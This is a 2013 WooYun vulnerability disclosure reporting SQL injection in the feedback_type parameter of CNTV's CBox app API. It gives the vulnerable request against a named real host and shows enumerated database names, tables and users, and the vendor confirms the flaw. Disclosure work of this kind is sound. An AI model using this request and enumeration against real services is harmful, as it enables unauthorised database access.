当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-045377

漏洞标题：APP终结者8#中国网络电视台CNTV CBox客户端SQL注入

相关厂商：中国网络电视台

漏洞作者： zzR

提交时间：2013-12-09 14:10

修复时间：2014-01-23 14:11

公开时间：2014-01-23 14:11

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-12-09： 细节已通知厂商并且等待厂商处理中
2013-12-09： 厂商已经确认，细节仅向厂商公开
2013-12-19： 细节向核心白帽子及相关领域专家公开
2013-12-29： 细节向普通白帽子公开
2014-01-08： 细节向实习白帽子公开
2014-01-23： 细节向公众公开

简要描述：

KOBE复出，看NBA路过·-·
央视最主要客户端产品CNTV CBox存在SQL注入

详细说明：

APP： CNTV CBox

GET /api/feedback?
pid=ukztYUybsWanMQcNKADef2gE9piG4h6d&version=1.0.4&feedback_type=4&feedback_content=good&contact=13666666688 
HTTP/1.1
Host: api.cbox.cntv.cn
Proxy-Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: zh-cn
Connection: keep-alive
Pragma: no-cache
User-Agent: CNTV%20CBox/1.0.4 CFNetwork/672.0.8 Darwin/14.0.0


cbox api存在问题
feedback_type存在注入

1.png


内网ip

漏洞证明：

当前库
Database: mvs
[48 tables]
+-------------------------------------+
| VMS_COLUMN |
| VMS_COLUMN_PENDING |
| VMS_VIDEOINFO |
| VMS_VIDEOINFO_PENDING |
| VMS_VIDEOSET |
| VMS_VIDEOSET_PENDING |
| VMS_VIDEOSET_VIDEO_RELATION |
| VMS_VIDEOSET_VIDEO_RELATION_PENDING |
| YXG_CHANNEL |
| `mvs_rmgh?` |
| `mvs_sec?\x07nd_channel` |
| `mvs_year\x19` |
| mvs_area |
| mvs_channel |
| mvs_client |
| mvs_client_home_subject |
| mvs_client_television_stream |
| mvs_client_type |
| mvs_client_version |
| mvs_client_version_channel |
| mvs_content_type |
| mvs_dexice |
| mvs_epg |
| mvs_feedback |
| mvs_feedback_video |
| mvs_focus_video |
| mvs_home_subject |
| mvs_home_subject_content |
| mvs_oedia_type |
| mvs_out_service_template |
| mvs_player_recommend_content |
| mvs_push_msg |
| mvs_role |
| mvs_role_rightbrelation |
| mvs_stat_area |
| mvs_stat_dasic |
| mvs_stat_search |
| mvs_stat_vmdeo |
| mvs_subjecx_type |
| mvs_suslogs |
| mvs_sytlogs_optype |
| mvs_television_station |
| mvs_user |
| stat_navigationbar |
| stat_search |
| stat_sideo |
| stat_startuw |
| stat_wv |
+-------------------------------------+
dba

dba.png


database management system users [2]:
[*] 'dpi'@'10.?.3.%'
[*] 'root'@'loialh\x7fst'


dbs

dbs.png

修复方案：

防线扩至app云端

版权声明：转载请注明来源 zzR@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2013-12-09 16:52

厂商回复：

非常感谢，我们将尽快整改！感谢对我们的支持！～～～～

最新状态：

暂无